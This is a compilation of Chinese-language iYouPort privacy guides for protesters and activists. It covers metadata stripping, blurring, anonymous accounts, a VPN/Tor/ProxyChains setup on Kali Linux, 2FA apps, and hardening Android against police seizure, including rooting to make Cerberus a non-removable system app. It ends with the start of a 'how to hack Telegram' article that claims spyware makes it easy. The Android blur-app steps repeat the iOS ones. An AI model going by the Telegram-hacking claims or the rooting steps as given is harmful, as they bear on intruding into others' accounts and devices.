视频的发布与静态图片一样多，甚至更多，您也可以从其中剥离元数据。但是，对于智能手机上的本机 Exif 删除工具来说，可能没有太多选择。

如上所述，您可以通过“照片”应用程序使用iOS 13的删除选项，前文中概述的有关从 Google 相册中删除照片位置数据的方法也适用于视频，但是三星禁止从视频中删除 Exif。

当涉及到第三方工具时，适合处理图像的许多应用程序也都可用于视频。以下将简要展示适用于iOS的照片和视频元数据删除器以及适用于 Android 的 ExifTool，它们都是免费工具。

- 使用照片和视频元数据删除器（**iOS**）

打开“Photo & Video Metadata Remover”应用，从“照片”应用中选择一个视频，点击出现在视频左下方的齿轮图标，然后选择“清除所有元数据”。不含任何元数据的新视频将保存到您的设备中。

- 使用 **ExifTool**（**Android**）

打开 ExifTool 应用程序，从图库中选择一个视频，您将看到该视频的元数据分成不同的组。

点击右下角的三条线菜单按钮，选择“全部擦除”，然后选择“是”进行确认。它将删除所有可删除的元数据，例如位置和日期等，但保留其他无用的元数据。

步骤2：隐藏和模糊化面部及任何可识别性信息线索

「图」

除了剥离元数据外，保护照片和视频中的人物脸部及疤痕等、以及地理位置标记（例如路牌等）也至关重要。

可以很容易地从照片或视频中识别出面孔、标志性衣着、疤痕、纹身、胎记、地址、企业挂牌、广告牌、和著名地标等线索。也就是您在 “开源情报” 地理定位操作中第一步要瞄准的那些东西。

甚至独特的衬衫设计也可以帮助识别一个人。

- 在 列表-5 中的 “侦探挑战” 板块中您能看到，一扇窗子、一只鸟、一棵树、一辆汽车的驾驶座位等等，都能进行地理定位

尽可能隐藏面部和可识别性信息的最佳方法是将其模糊或涂黑。模糊效果很好，总体上看效果最好，涂黑会更安全，因为无法逆转效果。

但只要您使用在智能手机上处理模糊化效果的工具、并且不要将副本保存在所谓的云中，对大多数人来说这就足够了。

选项1：遮盖照片中的信息

「图」

如果您只想涂黑（或使用其他纯色），那么智能手机上的本机工具就足以完成任务。

对于 iPhone，在“照片”应用中查看图像时，点击 “编辑”，然后点击省略号（•••），然后点击 “标记”。在这里您可以使用纯墨水和钢笔、铅笔或形状的工具来隐藏对象。

对于三星 Galaxy 手机，在 “Gallery” 应用中打开图像，点击工具栏中的笔图标，然后点击绘画图标。点击出现的钢笔图标以选择笔尖和强度。您还可以使用贴纸工具将有趣的贴纸放在敏感信息上。

如果使用 Google 相册，请点击工具栏中的波浪线图标。选择标记工具，黑色墨水（或另一种颜色），然后随便画就行了。

但是没有本机模糊工具，因此如果您想要模糊化处理，则需要使用第三方工具。

Signal 刚推出了用于其安全消息传递应用程序的模糊工具，并提供了自动和手动选项以遮盖面孔，您可以在编辑图像后下载图像，而无需在其中共享消息。

除此之外，还有许多其他可用的工具，您可以在应用商店中进行搜索，但是最简单的工具之一是 Image Scrubber，上面已经讨论过了。

这是一个跨平台的网络应用程序，还可以使您模糊或涂黑照片中的某些部分。开发人员 Pipkin 声明，Image Scrubber 不会在任何地方共享您的信息，并且所有图像处理都在您的设备上的Web浏览器中进行（源代码在这里）。

「图」

选项2：遮盖视频中的信息

「图」

尽管视频比照片更难更改，但模糊任何面部、地址、车牌号和其他可识别性信息仍然很重要。

您可以使用许多第三方应用程序做到这点，但是有两个免费且不包含水印的流行应用程序分别是 iOS 的 Video Mosaic App 和 Android 的 Blur Video。

- **Photo & Video Mosaic App（iOS）**

在 Video Mosaic 中打开一个视频。使用视频下方的预览栏，您可以滚动到要模糊的画面从开始和结束的确切位置。

在这里您可以使用各种功能向面部、地址、文本、车牌、建筑物等添加模糊效果。使用该应用底部的工具更改模糊强度和效果。完成后，将编辑后的视频保存回本地“照片”应用程序。

- **Blur Video (Android)**

在 Video Mosaic 中打开一个视频。使用视频下方的预览栏，您可以滚动到要模糊部分的开始和结束的确切位置。过程如上所述一样，完成后，将编辑后的视频保存回本地“照片”应用程序。

步骤3：使用匿名帐户发布

「图」

如上述这些方法，删除元数据并模糊一切可识别性信息可以保护其他

人，但是，如果您将照片和视频发布在个人帐户上，那么追踪您就易如反掌了。

只要监视者在您的帐户上找到抗议照片，就可以通过查看 “朋友列表”、阅读旧帖子、访问您的其他在线帐户的链接等等形式，了解您生活的几乎全部。

这就是为什么最好的选择是发布到匿名帐户或个人信息相对较少的帐户。在下面看到具体方法：

- 这篇文章很重要，里面的所有关联链接都很重要《您在什么时候需要假名、匿名和公开在线身份？– 在线创建和管理身份的思考方式》

如果您要在网上发布抗议现场照片，Twitter 是最好的选择，仅仅是因为保持匿名和获得关注度更容易。

在 Instagram 上就有点困难了。但只要未与个人帐户建立任何联系，您就可以创建并发布 Finsta —— 即 fake Instagram。

您还可以使用匿名 Facebook 帐户发布抗议照片。在下面看到具体指南，关于如何设置虚假的 Facebook 个人资料、如何创建一次性电子邮件或电话号码，将应用程序与手机数据隔离，使用VPN，删除和禁用位置记录，更改隐私设置等等。

- 《如何建立一个匿名社交媒体账户以保护个人数据的私密性？》
- 《摆脱追踪者：您的行动必须是匿名的，否则没有可持续性》
- 《使用社交媒体时你必须注意什么？—— 更安全的抵抗》
- 《伪装＋擦除—— 在线隐身的重要步骤（少数派玩家）》
- 《角色扮演：行动者刚需》
- 《您真的理解应用权限都授予了什么吗？这里是保护您安全的重要知识》

此外，即使您使用匿名帐户发布信息，也请务必从您的信息中删除您的位置。

尽管您可以在发布时删除坐标，但您可能会无意中将其地理位置信息添加到了帖子中。在大多数情况下很容易避免这点。在 Instagram 和 Facebook 上，您所需要做的就是不手动包含您的位置。

但是，在 Twitter 上，可能会跟踪您的精确坐标。

要关闭位置数据，点击左上方的个人资料照片，依次转到“设置和隐私”，然后转到“隐私和安全”。向下滚动并点击“精确位置”并将其禁用。

步骤4：在线发布照片之前使用VPN

「图」

这应该就不必细说了。至少中国用户使用 Twitter 或 Facebook 时必需加VPN。

但是，如果您不在中国，可能就很容易忘记**VPN**的使用，不要。尤其是选择可靠的VPN，您需要熟记方法（而不是去问其他人“这个或那个可靠吗”），您应该自己判断 —— 您可能无法知道他们中哪位是拿钱说话的人。

- 《如何检查您的VPN连接是否实际加密》
- 《什么时候你需要VPN？》
- 《如何验证您的 VPN 连接是否安全？》

最后

「图」

就是这样。不要错过我们的“难以被追踪”系列 和 “完美隐身”系列，在列表 -1 中有单独的汇总板块 —— 前者中介绍的方法在日常情况下您应该都用得到；后者中介绍的方法在您被盯上了或需要逃命的时候绝对用得到 —— 请注意，对于关心政治的读者来说，已经“被盯上”却没有察觉到是非常可能的。

参加抗议活动是一种“特殊时刻”，即便您自己不担心被捕，您也应该希望您参加的活动能真正发挥作用，至少不那么容易被迅速扼杀掉。所以，每一位参与者都应该努力维护运动的目标，首先就是信息安全。

希望您的所有队友都具备足够的安全意识。

上述关联的所有文章都很重要；并且您可以在我们的 列表-1 “技术防身” 中 和 列表-5 “护盾” 中找到更多安防知识。〇

原文

增强匿名性的简单方法 - iyouport

护盾（AS）

【2020年2月28日存档】

不论是在互联网上还是在现实生活中，匿名都是一项基本权利，是最有效的保护措施。

您一定听说过很多保持匿名的技术工具和操作方法，就如IYP在“技术防身”和“附身符” 栏目中所介绍过的诸多工具那样。

本文将继续介绍一种相对简单的匿名保护方法 —— 结合使用 VPN、Tor 和 ProxyChains 来实现更安全的匿名性。

这里将假设您第一次接触相关知识，于是首先讨论下基础内容。

什么是 **VPN**？

VPN 是一种软件，可让您通过加密的隧道连接到 Internet，该隧道通过服务器进行路由。

合格的VPN应该可以隐藏您的IP地址并掩盖您的在线身份，以便隐藏您的所有在线操作。

在这里看到：

- 《选择VPN的思考方式》
- 《如何判断VPN连接是否安全》
- 《什么时候你需要VPN？》

什么是 **Proxychains**？

这是用于GNU / Linux系统的开源软件。

它可以使任何程序通过代理上网， 允许TCP和DNS通过代理隧道， 支持HTTP、 SOCKS4和SOCKS5类型的代理服务器， 并且可配置多个代

理。

ProxyChains 通过一个用户定义的代理列表强制连接指定的应用程序， 直接断开接收方和发送方的连接。

什么是 **Tor**？

Tor是一款软件，可让您在互联网上隐藏自己的身份；有助于防御流量分析、并为您提供更高度的隐私。

您可以在这里看到Tor的故事和注意事项：

- 《Tor是怎么来的：当搬石头砸脚遇到“运动死亡”》
- 《反侦察技巧》
- 《当局是怎么抓人的？》
- 《为什么必需使用Tor》
- 《使用Tor的注意事项！》
- 《如何在你的网页浏览器中使用Tor网络？》

基本要求：

- **VPN**
- **Proxychains**
- **Tor**
- **Kali Linux**

现在开始……

这里使用的是 ProtonVPN 作为例子，因此首先需要打开一个 **temp-mail.org** 网站以获取临时邮件地址。

创建临时邮件ID登录后，可从此链接 **protonvpn.com** 下载适用于Windows系统的免费 ProtonVPN。

单击与所需位置的连接。

现在查看IP地址：**Google**」 **whatismyip**

现在，下一步，转到工具栏中的虚拟机，选择 VM」设置 …

点击网络适配器 」 选择 NAT：用于共享主机的IP地址」确定

在虚拟机中

在 Kali Linux 中打开浏览器，然后转到网站 **dnsleaktest.com**

现在我们需要使用 tor 安装和配置 proxychains。

Proxychains 默认安装在 kali linux 中，但是如果没有安装，那么按照下面这样做。

按照命令安装 **Proxychains** 和 **Tor**

```
apt-get install tor proxychains
```

打开终端找到 proxychains 配置文件 执行 **locate proxychains** 命令。

它应该位于 /etc/proxychains.conf 。用于配置 Proxychains：

「图」

使用文本编辑器（例如 leafpad 或 nano）修改配置文件。

在终端中输入以下命令：

```
leafpad /etc/proxychains.conf
```

- 删除 dynamic_chain 之前的 # 号
- 在 strict_chain 之前放置一个 # 号

然后将后面这句话放在最后一行：**socks5 127.0.0.1 9050**

「图」

保存文件」完成。

要启动 Tor 服务，请打开终端并输入：

```
#service tor start
```

如果Tor服务已经启动，则输入：

```
#service tor restart
```

检查 Tor 的状态 输入：

```
service tor status
```

验证配置

可以通过执行以下命令来验证它是否正常工作：

```
proxychains curl icanhazip.com
```

或者

```
proxychains firefox www.dnsleaktest.com
```

结果

Dnsleaktest.com 的结果：

点击 “standard test”：

「图」

对于您想保持匿名的任何命令，请使用以下语法：

```
proxychains [program] [argument]
```

在下面观看视频教程：

就是这样 ~ 注意操作安全！〇

原文

如何不暴露手机号、不花钱，实现双因素身份验证？ - iyouport

护盾（AS）

【2019年10月23日存档】比较一下所有可能的选项。

谈到网络安全，一层是不够的。

复杂的密码（或使用密码管理器创建的密码）可以很好地保护您的数据，但它仍然可以被破解。

双因素身份验证通过添加第二层安全性来加强这一点，为您提供更多针对在线威胁的保护。

使用双因素身份验证（也称为两步验证或简称为2FA），您登录的服务需要两件事来验证您：您知道的东西和您拥有的东西。

您的密码用作“您知道的东西”，2FA应用程序提供“您拥有的东西”。

虽然这第二层并非万无一失，但它确实可以大大提高你的防御能力。

并非所有网站都支持此功能，但大多数热门网站都支持此功能，如果感兴趣的话您可以使用 Two Factor Auth 来检查兼容性。

但是，并非所有2FA都是相同的。⚠有些网站仅支持通过短信或电子邮件发送代码。这些是不安全的选项，因为有人可以远程访问这些途径。

💡这就是为什么你最好的选择是使用基于软件的令牌，这就是本列表中每个应用程序支持的方法。

比较图表

关键比较点

- 离线模式：无需互联网即可生成2FA代码。

- 开源：源代码可供任何人审核。虽然开源确实提供了优势，但本列表中的应用程序都不是开源的（尽管有些应用程序利用了几种开源技术）。
- 加密备份：令牌数据库已加密，并与您的设备分开备份。这样，即便您升级手机，也无需将新手机注册到所有帐户。
- 桌面版：服务是否具有桌面版本，因此您在登录帐户时不需要智能手机。
- Smartwatch 兼容：该服务支持一个（或多个）主要智能手表操作系统。 Wear OS 是基于 Android 的智能手表操作系统，而 watchOS 则是基于iOS的智能手表操作系统。如果应用程序支持其中一个操作系统，即使手机放在口袋中，您也可以检索代码。
- 密码保护：使用某种形式的身份验证锁定入侵者的能力。Authy 和 LastPass 都支持PIN码，指纹扫描，Touch ID 或 Face ID（取决于您使用的iPhone型号）。
- 多设备同步：能够跨多个设备同步数据并访问您的令牌。在一台设备上添加或删除的任何帐户也将在其他设备上添加或删除。
- 可调节的OTP时间：能够调整一次性密码可用性的长度。较短的时间使黑客更难操作，但可能太不方便。通常，默认计时器在15–30秒之间。对于支持该功能的两个应用程序，都需要手动输入。
- 可调整密码长度：可以调整一次性密码的大小。对于支持该功能的两个应用程序都需要手动输入。更长的代码使得攻击变得更加困难。
- 推送通知：列表中的某些应用程序不支持输入代码，而是支持推送通知。令牌在后台交换而不需要您复制数字，因此您需要做的就是接受或拒绝请求。但是，该网站必须包含支持，仅限于本列表中的所有应用。
- 安全通知：只要对与2FA应用相关联的帐户进行了任何更改，就可以发送提醒。 Microsoft Authenticator 去年推出了此功能，如果您的帐户发生任何更改（例如密码更改），应用程序会通知您。

如何选择这些应用程序

为了缩小 iOS App Store 和 Google Play 商店中2FA应用的范围，本指南设定了一些基本规则。

没有必要为 Android 和 iOS 制作单独的列表。支持这两种操作系统的

应用程序将使更多用户受益，因为您可能正在使用这两种移动平台之一（尽管还有 SailfishOS 和技术上的 Windows Phone 用户）。

不幸的是，这个决定确实遗漏了一些很好的选择，包括开源的 andOTP，仅限于 Android。

第二个要求是每个应用程序当前必须由其开发人员支持。

定期支持可确保及时处理错误和漏洞，并且可以及时处理移动操作系统的任何新更新。

本指南删除了至少一年内未收到更新的所有应用程序。例如，FreeOTP 被排除在考虑范围之外，因为其上一次 Android 更新是在2016年，而iOS更新是在2014年。

由于大多数人不想为应用付费，因此本指南只关注免费的2FA应用。

列表中的每个应用程序都支持基于时间的一次性密码算法（TOTP），这是基于软件的令牌2FA的首选方法。

第一个：**Authy**

- **Install Authy: Android (free) | iOS (free)**

Authy 最好的功能是加密备份。无论何时您切换手机，只需要在新手机上打开 Authy 并输入电话号码。

然后，你会看到多个连接帐户的选项，包括短信、电话和电子邮件。这些都不够好 。最好的办法是自己的设备。

旧手机上出现提示，输入指定的短语后，您的令牌就可以转移到新设备上了。

但是，如前所述，备份是加密的。因此，您还需要一个单独的密码。

此外，您可以限制哪些设备可以访问您的令牌。

为了最大限度地提高安全性，在设置新手机后，您应该关闭“多设备”选项，这样可以阻止令牌在设备之间同步。

关闭此功能后，即使有人使用其他方法访问您的帐户，他们也无法收到该令牌。

此外，即使禁用了多设备，您仍然可以在多台设备（如平板电脑或计算机）上访问数据库。

如果要移除辅助设备的访问权限，只需选择“允许多设备”下的设备选项，然后选择“删除设备”。

Authy 还会考虑您的安全性。无论 2FA 应用程序如何改善您的帐户安全性，如果它们本身很容易被击败，那么安全性改进就没用了。

使用 Authy，您可以防范网络钓鱼、恶意软件、暴力密码破解、和中间人攻击。

对 Authy 唯一的抱怨是如何标记设备。

当与多个设备共享数据库时，Android 手机被列为“Android”，因此无法辨别哪个是哪个。但是，iPhone 和PC很容易根据其指定的名称进行标记。

Authy 很容易成为两种操作系统上最好的双因素身份验证应用程序之一。

界面易于使用，您可以安全地转移令牌。您甚至可以更改主页面的布局以便于导航。

第二个：**LastPass Authenticator**

LastPass Authenticator 在其功能列表中与 Authy 几乎完全相同。两者都提供加密备份，多设备同步和支持推送通知。

但是它缺乏对智能手表和桌面等辅助设备的支持。

- **Install LastPass Authenticator: Android (free) | iOS (free)**

就像 Authy 一样，LastPass 支持加密备份。唯一需要注意的是，它需要一个 LastPass 帐户，该帐户通常用于存储在线密码。

虽然这不是什么大问题，但您可能会觉得被迫使用您不希望首先使用的密码管理器很烦人。

但更奇怪的是，这两个应用程序是彼此分开的。

无法从密码管理器访问身份验证器，反之亦然，因此，虽然两个应用

程序共享同一帐户，但没有其他连接。

话虽这么说，但 LastPass 确实是两个平台上最好的密码管理器，所以如果你没有密码管理器，这是个一举两得的好方法。

LastPass Authenticator 对 Authy 的最大优势是能够调整令牌的参数。

虽然它需要您手动输入代码（而不是扫描QR代码），但您可以修改代码可用的持续时间和代码本身的长度。

根据您对安全性或便利性的需求，此功能可能是有益的。

但是，虽然此功能很有用，但一般公众可能不会使用它。

它是本列表中唯一没有桌面版的。也是本列表中唯一不支持智能手表的应用程序。

无论您是想要 Authy 还是 LastPass Authenticator，安全性都没什么不同。

第三个：**Duo Mobile**

Duo Mobile 专为企业设计，提供适合多个用户的多种计划。

Duo 是一个管理多用户访问和身份验证的安全平台。也是一个优秀的2FA应用程序，设计良好，易于使用。

- **Install Duo Mobile: Android (free) | iOS (free)**

除了支持 Google Authenticator 支持的相同服务外，Duo Mobile（以及 Authy）还可以更好地支持第三方服务和社交媒体网站。 更新及时。

它支持 Apple Watch 用户使用 watchOS 的官方应用程序。它有 Windows 和 macOS 的官方应用程序，因此从桌面（或笔记本电脑）登录时不需要手机。

它还支持加密的备份。您正在使用的设备将确定备份的存储位置。对于iOS，备份存储在 iCloud 上。对于 Android，备份存储在 Google 云端硬盘上。

虽然 Duo Mobile 无法同步您的帐户，但能够备份数据库非常有用，因为您决定升级手机时无需重新开始。

第四：**Microsoft Authenticator**

与 Google Authenticator 类似，Microsoft Authenticator 也不执行云备份。但是与 Google 不同，它受到更好的支持并提供推送通知。

但是后者确实要求用户进入 Microsoft 生态系统。

- **Install Microsoft Authenticator: Android (free) | iOS (free)**

Microsoft Authenticator 的一个更好的功能是它支持推送通知。

只要您使用该应用程序对 Microsoft 或 Azure Active Directory 帐户进行身份验证，您就会收到一条通知，要求您批准或拒绝发送到您设备的令牌，而不必输入代码。

如果您设备上的令牌与您在登录屏幕上看到的令牌相同，请选择“已批准”。

该过程比输入代码容易得多，虽然其他三个应用程序确实支持该功能，但支持它的服务数量仍有限。

还有安全通知功能。只要您的某个帐户发生重要事件，此功能就会向您的手机发送提醒。

这包括更改密码、从新设备登录、或从新位置登录。这样，您可以立即意识到是否发生了未经授权的操作，并且可以采取正确的操作过程。

第五：**Google Authenticator**

有人使用 Google 身份验证器而不是本列表中的其他应用程序有两个主要原因：(可以说）更好的安全性和广泛的可用性。

虽然它相比列表中其他选项具有更多的局限性。但是依旧有很多人在使用 Google Authenticator。

- **Install Google Authenticator: Android (free) | iOS (free)**

由于 Google 身份验证器不会备份您的数据库，因此数据只存在于您的设备上。因此，无论何时升级手机，都必须重新连接到所有帐户。

当然这样会更安全。

如果您的设备被盗，现代智能手机可让您远程擦除数据，无论您使用的是 Authy 还是 Google 身份验证器，都可以保护您的令牌。

但是，Authy 将数据库与您的电话号码联系起来，这可能很容易获得也可能被欺骗。

如果有人控制了您的电话线并猜测了您的密码（这是一个很大的问题），他们就可以完全访问您的令牌。使用 Google 身份验证器的话这是不可能的。

Google 身份验证器也是通过应用程序进行双因素身份验证的标准。但是，似乎谷歌正在慢慢放弃该应用程序。更新迟缓。

Google 身份验证器仅限于桌面用户的 Chrome 扩展程序。

虽然它确实限制用户只能使用 Google 的浏览器，但它可以在所有桌面平台上访问，包括 Chrome OS，与本列表中的其他应用程序不同。它也是本列表中唯一正式支持 Wear OS（以前称为 Android Wear）的2FA应用程序。

老实说，选择 Google 身份验证器的主要原因是您担心将数据备份到云端不安全。

但是，对于大多数用户来说，有更好的选择。

结论

每个人都应该使用2FA。我们知道这很费时，特别是对于不支持应用程序的网站，不得不通过电话号码接收代码不仅不安全也不方便。

使用短信或电话不如专用应用程序安全，因为您的电话号码很容易被欺骗，允许攻击者远程访问您的帐户。

使用基于软件的令牌会更安全。

现在 2FA 的最佳选择显然是 Authy。它易于使用，易于转移到新设备，并提供密码保护。

或者，如果您已经是 LastPass 密码管理器用户，并且不介意将您的密码和2FA令牌信任给同一家公司，那么 LastPass Authenticator 可以作为次要选择。〇

原文

如何保持 Android 设备免受警察的侵害 - iyouport

护盾（AS）

【2019年10月31日存档】日常保健可以预防大病

- 别忘了 **iPhone** 的，在这里：《如何通过一些设置预防iPhone被盗或被警方查抄所造成的损失？》

虽然我们希望从未发生过这种事，但是，执法部门确实会毫无规则地查抄公民的手机，在很多国家都是如此；其中任何数据都有可能令您陷入“自证其罪”的困境。

这种悲剧的发生时间完全无法预测，于是您应该在平时做好基本的防备工作。

本文推荐一些可行的方法，您可以根据自己有可能面对的情况选择最适合的方案，或者将它们结合起来使用。

但我们不是律师，所以请自行判断使用这些方法的风险，因为每种情况都不同，无法全面估测。

提示**1**：在几秒钟内禁用生物识别

虽然生物识别技术确实在安全性和便利性方面提供了很好的平衡，但是，在遭遇警察的时候，生物识别技术就可能会被用来对付您。

这在美国也一样。

虽然最近加利福尼亚州北区地方法院的一项裁决认为警察强迫您用指纹解锁手机违反了第四和第五修正案，这是第一次，但未来的法庭听证会结论如何还有待观察。

在 Android 9 Pie 中，谷歌推出了一项称为锁定模式的功能。默认情况下不启用它，因此您需要手动打开它。

激活后，您可以快速锁定手机，并一键禁用生物识别，将PIN、图案或密码作为解锁手机的唯一方法。

最重要的是，它只会禁用您的指纹扫描仪（或面部识别）一次，因此您不必记得再去关闭该功能。

这是 Android 的一个很好的补充，因为警察、抢劫犯和其他潜在的攻击者可以强迫你或者用你的指纹、面部或语音来解锁智能手机。或者，具有相似的面部或语音的人可以在没有生物识别签名的情况下解锁您的手机。

但是，在执法方面，由于第5修正案权利，警察无法合法地让您输入密码。

即便对于非美国用户来说，没有第5修正案保护，使用该功能也能保护您免于如上所述的很多危险，至少能在警察面前拖延时间。

此外在 Appl 设备要求您一起按下两个按钮几秒钟以触发其锁定模式（在较新的 iPhone 上）；或连续五次点击一个按钮（在较旧的 iPhone 上）。

要在 Pixel，Pixel XL，Pixel 2 或 Pixel 2 XL 上解锁 Android 9.0 中的这一新安全功能，您只需转到设置中的“安全和位置”即可，然后点击设备安全性下的“锁屏首选项” 。

接下来，只需确保切换到“显示锁定选项”，即可完成设置。

如果您没有看到此选项，可能是因为您选择了滑动屏幕锁定而不是模式、PIN 或密码。

现在，要实际使用锁定模式，只需长按电源按钮，直到电源菜单出现。

您会看到锁定按钮出现，具体取决于运行的 Android Pie 版本。

下次尝试解锁手机时，您需要先输入您的模式、PIN或密码。

如果您的手机运行较旧的 Android 版本，还有另一种解决方法：只需重新启动即可。

当然，不会建议您因为这一便利而拒绝更新。

提示**2**：使用强密码

在提示1 的前提下，手机提供的最安全的身份验证方法是字母数字组合的长密码。

使用安全密码（最长可达16个字符），您可以放心，未经您的同意，您的手机将无法解锁，因为执法部门即便使用暴力破解也需要很长很长时间的猜测过程。

纯数字（或使用常用词或名字）的8个字符的密码将需要一台计算机超过五个月才能破解；将此值增加到16个字符，破解需要几千年的时间。

这可以是让任何人（包括执法部门）远离您手机的安全选择。

提示**3**：禁用智能锁

很多人喜欢使用 Android 的智能锁定功能，可以更轻松地解锁自己的设备，但是要知道，这是一把双刃剑：它还可以让警察更轻松地进入您的手机。

特别是“On-Body Detection”设置，当运动传感器检测到自从上次使用PIN、模式或密码解锁后一直在移动时（以与行走者一致的方式），可以保持手机未锁定状态。

这种状态下如果您遇到警察的拦路检查，情况就会变得很糟糕，他们可以通过简单的滑动解锁您的手机。

智能锁的“可信位置”设置也存在风险。这可以让您的手机在家中等特定位置被自动解锁。

如果警察闯进您的家里，就可以在没有PIN、模式或密码的情况下解锁您的手机。

要禁用所有 Smart Lock 选项，请转至设置 →安全 →智能锁，然后单独选择每个项目并禁用它们。

转至“可信任位置”，删除其中的设置。

提示**4**：隐藏通知

通知是很糟糕的东西，因为它设想的是永远只有您自己掌握手机，这

显然非常不现实。

虽然锁屏确实阻止了警察访问手机内容，但即使无法访问手机的其余部分，自动弹出通知也很可能成为重要信息来源。

这是因为，默认情况下，通知（特别是消息）可以在锁定屏幕上阅读——有时甚至是完整的消息。

要更改这种情况，请打开“设置”并选择“安全性和位置”（在不同手机上可能会有不同的标记；搜索 “安全” 很容易找到）。

选择“锁定屏幕首选项”和“锁定屏幕”。从弹出窗口中，选择“隐藏敏感内容”或“根本不显示通知”。

如果您的手机配备了通知 LED，我们建议选择后者，因为它提供了最好的保护。

LED 闪烁您就会知道有新的通知，但它们永远不会出现在锁定屏幕上。

如果没有 LED 建议选择“隐藏敏感内容”。

或者，如果您的手机使用的是 Android 9 或更高版本，则可以使用“锁定模式”选项作为临时禁用所有锁屏通知的方式，以防您被警察骚扰或扣留。

触发锁定模式后，直到您下次使用模式、PIN 或密码解锁设备，通知才会显示在锁定屏幕上。

提示**5**：保持您的引导加载程序锁定状态

Android 有一个检查和平衡系统，以确保在启动时操作系统的每部分仍然是安全的。但它也是一个开放的操作系统。

为了对希望 root 并同时强化启动安全性的用户保持开放状态，谷歌想出了一个默认情况下锁定 boot chain 的系统，但如果你愿意，你可以使用两部分设置来打开它。

其中一个设置在 Android 操作系统内部，另一个设置在一个名为 bootloader 的预启动菜单上。

Android 内部的设置称为OEM解锁。这里的想法是，如果您输入了模

式、PIN 或密码以进入操作系统，才会启用此选项。因此如果它已启用，那么就是由您来启用的。

从 Android 内部启用该设置后，您可以进入引导加载程序模式并发送 Fastboot 命令以解锁引导加载程序。

这将允许您在设备上安装非官方软件，例如自定义恢复或自定义 ROM。反过来，这些可以帮助您获得手机的 root 访问权限。

为了使事情更安全，解锁引导加载程序的实际操作会自动擦除设备上的所有数据。

⚠但是：如果您的引导程序当前已解锁，执法部门可以轻松地在设备上安装非官方固件，以绕过锁定屏幕并访问您的数据。

OEM解锁设置并不值得担心，因为它只允许解锁引导加载程序。

如果警察确实解锁了您的引导加载程序，您设备上存储的所有数据都将被自动删除。

但是，如果您在启用 OEM 解锁后解锁了引导加载程序 —— 例如，如果您将手机与Magisk一起使用 —— 那么，非常建议在完成后返回并重新锁定引导加载程序。

此外，如果您安装了自定义恢复（如 TWRP），则应确保使用密码保护恢复菜单。

启用“OEM解锁”选项在技术上不太安全。理论上，技术娴熟的小偷可以在启用此选项的情况下完全擦除您的设备，这意味着您将无法再使用 Android 设备管理器跟踪设备的位置。但 Android 的其他安全措施仍然存在，因此没有您的模式、PIN或密码，任何人都无法访问您的数据。

提示**6**：使用 **Cerberus**

Cerberus 是Play商店中的第三方应用程序，提供 Google 的查找我的设备等所有功能。

虽然它确实有订阅费用，但它是一个比查找我的设备更完整的安全软件。

一个重要的补充是：它能够向手机发送命令以远程控制它。

- **Play Store Link: Cerberus Phone Security (free)**

在警方拿走您的电话的情况下，Cerberus 允许您发送短信或使用浏览器向您的手机发送命令。

一个命令即可使用您选择的代码锁定手机，该代码与锁屏代码相区别。

此外，如果您判断后认为手机再也拿不回来了，则可以使用SMS命令（或通过浏览器）远程擦除手机。

这样，即使警察绕过任何其他保护性方法，手机上也没有任何东西可供他们检索。

⚠但是，请确保删除备份，如 Android Pie 之前，这些文件是未加密的，登录到您的 Google 帐户的任何人都可以访问这些文件。

送一个短片给大家，这是荷兰电影制片人 Anthony Van der Meer 的作品，自发表后迅速成为了热门。

该视频包含很多在设备被盗后远程拍摄的屏幕截图、音频剪辑和录像。

Van der Meer 使用就是 Cerberus。

下面简单介绍一下它怎么用。

第一步：安装 Cerberus

首先，您需要安装 Cerberus。安装过程将非常普通。

- **从 Google Play 商店免费安装 Cerberus**

第二步：授予权限和创建帐户

按照屏幕上的提示确保 Cerberus 具有所需的所有权限，然后系统会要求您创建一个帐户。

完成后，您将立即开始为期7天的免费试用。如果您希望在此之后继续使用 Cerberus，则需要以每年5.00欧元（约合5.23美元）的价格订阅。

第三步：将 Cerberus 转换为系统应用程序

这一步骤可以让小偷从你的手机上移除 **Cerberus** 几乎不可能，并且反过来又可以让你无限期地追踪你的手机。

这里唯一需要注意的是，手机仍然需要联网才能完全跟踪，但除此之外，即使小偷在您的设备上执行恢复出厂设置，安全软件也会保持活动状态。

您可以使用两种方法来完成此部分。

方法1：

使用 Link2SD

- **从 Google Play 商店免费安装 Link2SD**

之后，只需打开该应用程序，然后点击超级用户访问请求中的“授予”。

从这里，找到并长按 Cerberus 条目，然后从弹出窗口中选择“转换为系统应用程序”。

方法2：使用启用 Root 的文件浏览器

只需从设备的根分区前往/ data / app文件夹，然后找到并复制 com.lsdroid.cerberus 文件夹。

接下来，前往/ system / app文件夹，然后将 Cerberus 文件夹粘贴到此位置。

接下来，长按新复制的文件夹，然后从菜单中选择“权限”。

之后，设置权限，如下面的第二个屏幕截图所示。

如果您的文件浏览器有选项可以复制子文件夹和文件的这些权限，请确保勾选。

否则，对 Cerberus 文件夹内的任何子文件夹使用相同的权限设置重复此相同的过程。

完成后，只需重新启动手机，Cerberus 将作为系统应用程序安装。

第四步：删除Root访问权限

既然 Cerberus 已作为系统应用程序安装，则无法使用传统方法或出厂重置设备来卸载它。

这是一个很好的防盗功能，因为该软件几乎可以在设备开机并连接到互联网的任何环境中保持活动状态。

但是，如果你的手机被一个精通技术的小偷或警察偷走，他们可以使用像 Titanium Backup 这样的 root 应用来卸载 Cerberus。

或者，他们可以在第一时间使用您使用的相同root访问权限撤消刚刚进行的更改。

所以，建议打开你的 SuperSU 应用程序，前往 Settings 选项卡，然后点击“Full unroot”按钮。

只要重新启动你的手机，Cerberus 将成为一个永久性的固定装置。就像 Van der Meer 在视频中所做的那样。

最后

前面的提示方法比较基础，希望能使用在日常中成为习惯；最后一个方法也许比较适合中国的安卓用户，尤其是，你们的政府有可能在任何适合查抄您的设备。〇

原文

如何入侵 Telegram？ - iYouPort

护盾（AS）

关于您需要小心什么的说明

「图」

「图」

很多人选择使用 Telegram 是觉得它应该足够安全。 Telegram 曾经声称没有人可以破解他们的应用，那时候他们可能没有撒谎。

这就是为什么该应用程序的大名像野火一样传播的原因。今天，Telegram 普遍存在于大部分人的手机中。人们经常在 Telegram 上进行秘密的对话。

不过，入侵 Telegram 并非不可能，甚至，即使您是技术新手，也有多种方法可以做到这一点。

您所需要做的就是，一个以应用或服务的形式提供的外部帮助，可以为您窃取某人的 Telegram。

由于有太多的个人和公司会虚假地宣传他们可以入侵 Telegram，它们可能是骗子。但确实有可以很简单就能做到的方法，本文将介绍这些方法 —— 是为了提醒安全意识。

第1部分：如何破解 Telegram 帐户

如果没有高级黑客技能，尝试直接破解 Telegram 帐户可能并不容易；但是，如果有了合适的应用程序，入侵 Telegram 帐户甚至比小孩子游戏还简单。

监视者需要为此选择合适的应用程序。

